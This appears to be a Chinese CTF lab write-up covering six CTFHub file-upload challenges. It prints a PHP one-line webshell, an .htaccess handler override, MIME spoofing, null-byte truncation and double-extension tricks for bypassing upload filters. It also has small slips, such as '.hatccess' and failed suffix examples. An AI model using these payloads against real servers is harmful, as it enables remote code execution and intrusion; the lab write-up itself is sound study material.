CTFHub_文件上传

Posted 独角授

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFHub_文件上传相关的知识,希望对你有一定的参考价值。

CTFHub_文件上传

文章目录

0x01 无验证

打开页面如图示:

上传一句话木马用蚁剑连接

<?php @eval($_POST[cmd]);?>

因为没有任何限制,就直接上传.php木马文件

上传成功,显示上传文件相对路径,用蚁剑连接

连接成功,可在/var/www/html下找到flag!

0x02 js前端验证

打开页面如图示:

上传木马文件1.php,显示不允许上传

题目是js前端验证,查看网页源码,发现只能上传.jpg .png .gif图片格式文件

将 .php文件改为.png图片文件上传
用burp抓包
将.png后缀改为.php放包

返回路径

继续用蚁剑连接

拿到flag!

0x03 .htaccess

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

.htaccess文件(或者"分布式配置文件"),提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。

打开页面如图示:

查看源码发现大多数文件后缀都被禁用

.hatccess文件内容如下:

SetHandler application/x-httpd-php 

先上传.htaccess,而后上传的文件,都会解析为php。文件名命名为.hatccess,上传该文件

然后将1.php改为1.png文件上传

上传成功返回路径,用蚁剑连接

拿到flag!

0x04 MIME绕过

MIME多用途互联网邮件扩展类型。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。标准的文件上传组件中会自动上传文件的MIME类型,但是由于MIME类型是从客户端传递的,修改也不影响文件正常运行,因此通过BURP拦截和修改MIME类型可以轻易绕过此类检测。具体方法:Burp suite拦截文件上传数据包,修改文件类型即可。

常见的MIME类型:

超文本标记语言文本.html text/html

普通文本.txt text/plain

RTF文本.rtf application/rtf

PDF文档.pdf application/pdf

PNG图像.png image/png

GIF图形.gif image/gif

JPEG图形.jpeg, .jpg image/jpeg

ASP.asp application/x-asap

打开页面如图示:

上传1.php一句话木马,并用burp抓包,将文件类型修改为image/jpeg。

上传成功并返回路径

用蚁剑连接

拿到flag!

0x05 00截断

如果是白名单检测的话,我们可以采用00截断绕过。00截断利用的是php的一个漏洞。在 php<5.3.4 版本中,存储文件时处理文件名的函数认为0x00是终止符。于是在存储文件的时候,当函数读到 0x00(%00) 时,会认为文件已经结束。

例如:我们上传 1.php%00.jpg 时,首先后缀名是合法的jpg格式,可以绕过前端的检测。上传到后端后,后端判断文件名后缀的函数会认为其是一个.jpg格式的文件,可以躲过白名单检测。但是在保存文件时,保存文件时处理文件名的函数在遇到%00字符认为这是终止符,于是丢弃后面的 .jpg,于是我们上传的 1.php%00.jpg 文件最终会被写入 1.php 文件中并存储在服务端。

且需注意截断条件需要满足:

(1)php版本小于5.3.4

(2)php的magic_quotes_gpc为OFF状态

打开页面如图示:

查看源码发现只能上传.jpg .png .gif 图片格式文件

将木马文件1.php改为1.png上传,并用burp抓包。添加1.php%00

返回路径用蚁剑连接

拿到flag!

0x06 双写后缀

打开页面如图示:

观察源代码,黑名单过滤内容较为完整,代码逻辑存在str_ireplace,将黑名单内存在的内容替换为空,从而限制用户上传的文件后缀,使php文件得不到正常的解析!

绕过本题的思路,即将上传的文件名后缀双写,即可绕过双写:phphpp、pphphp、phpphp。

上传1.php,用burp抓包,将后缀改为phphpp

上传成功,返回路径。但是会发现文件后缀是hpp,貌似是后缀的后三位

重新换个后缀再试

上传成功,并返回了正确路径

用蚁剑连接

连接成功,拿到flag!

以上是关于CTFHub_文件上传的主要内容,如果未能解决你的问题,请参考以下文章

CTFHub_文件上传

CTFHub_文件上传

ctfhub技能树—文件上传—无验证

CTFHub技能树 Web-文件上传详解

CTFHub技能树 Web-文件上传详解

CTFHub-技能树-文件上传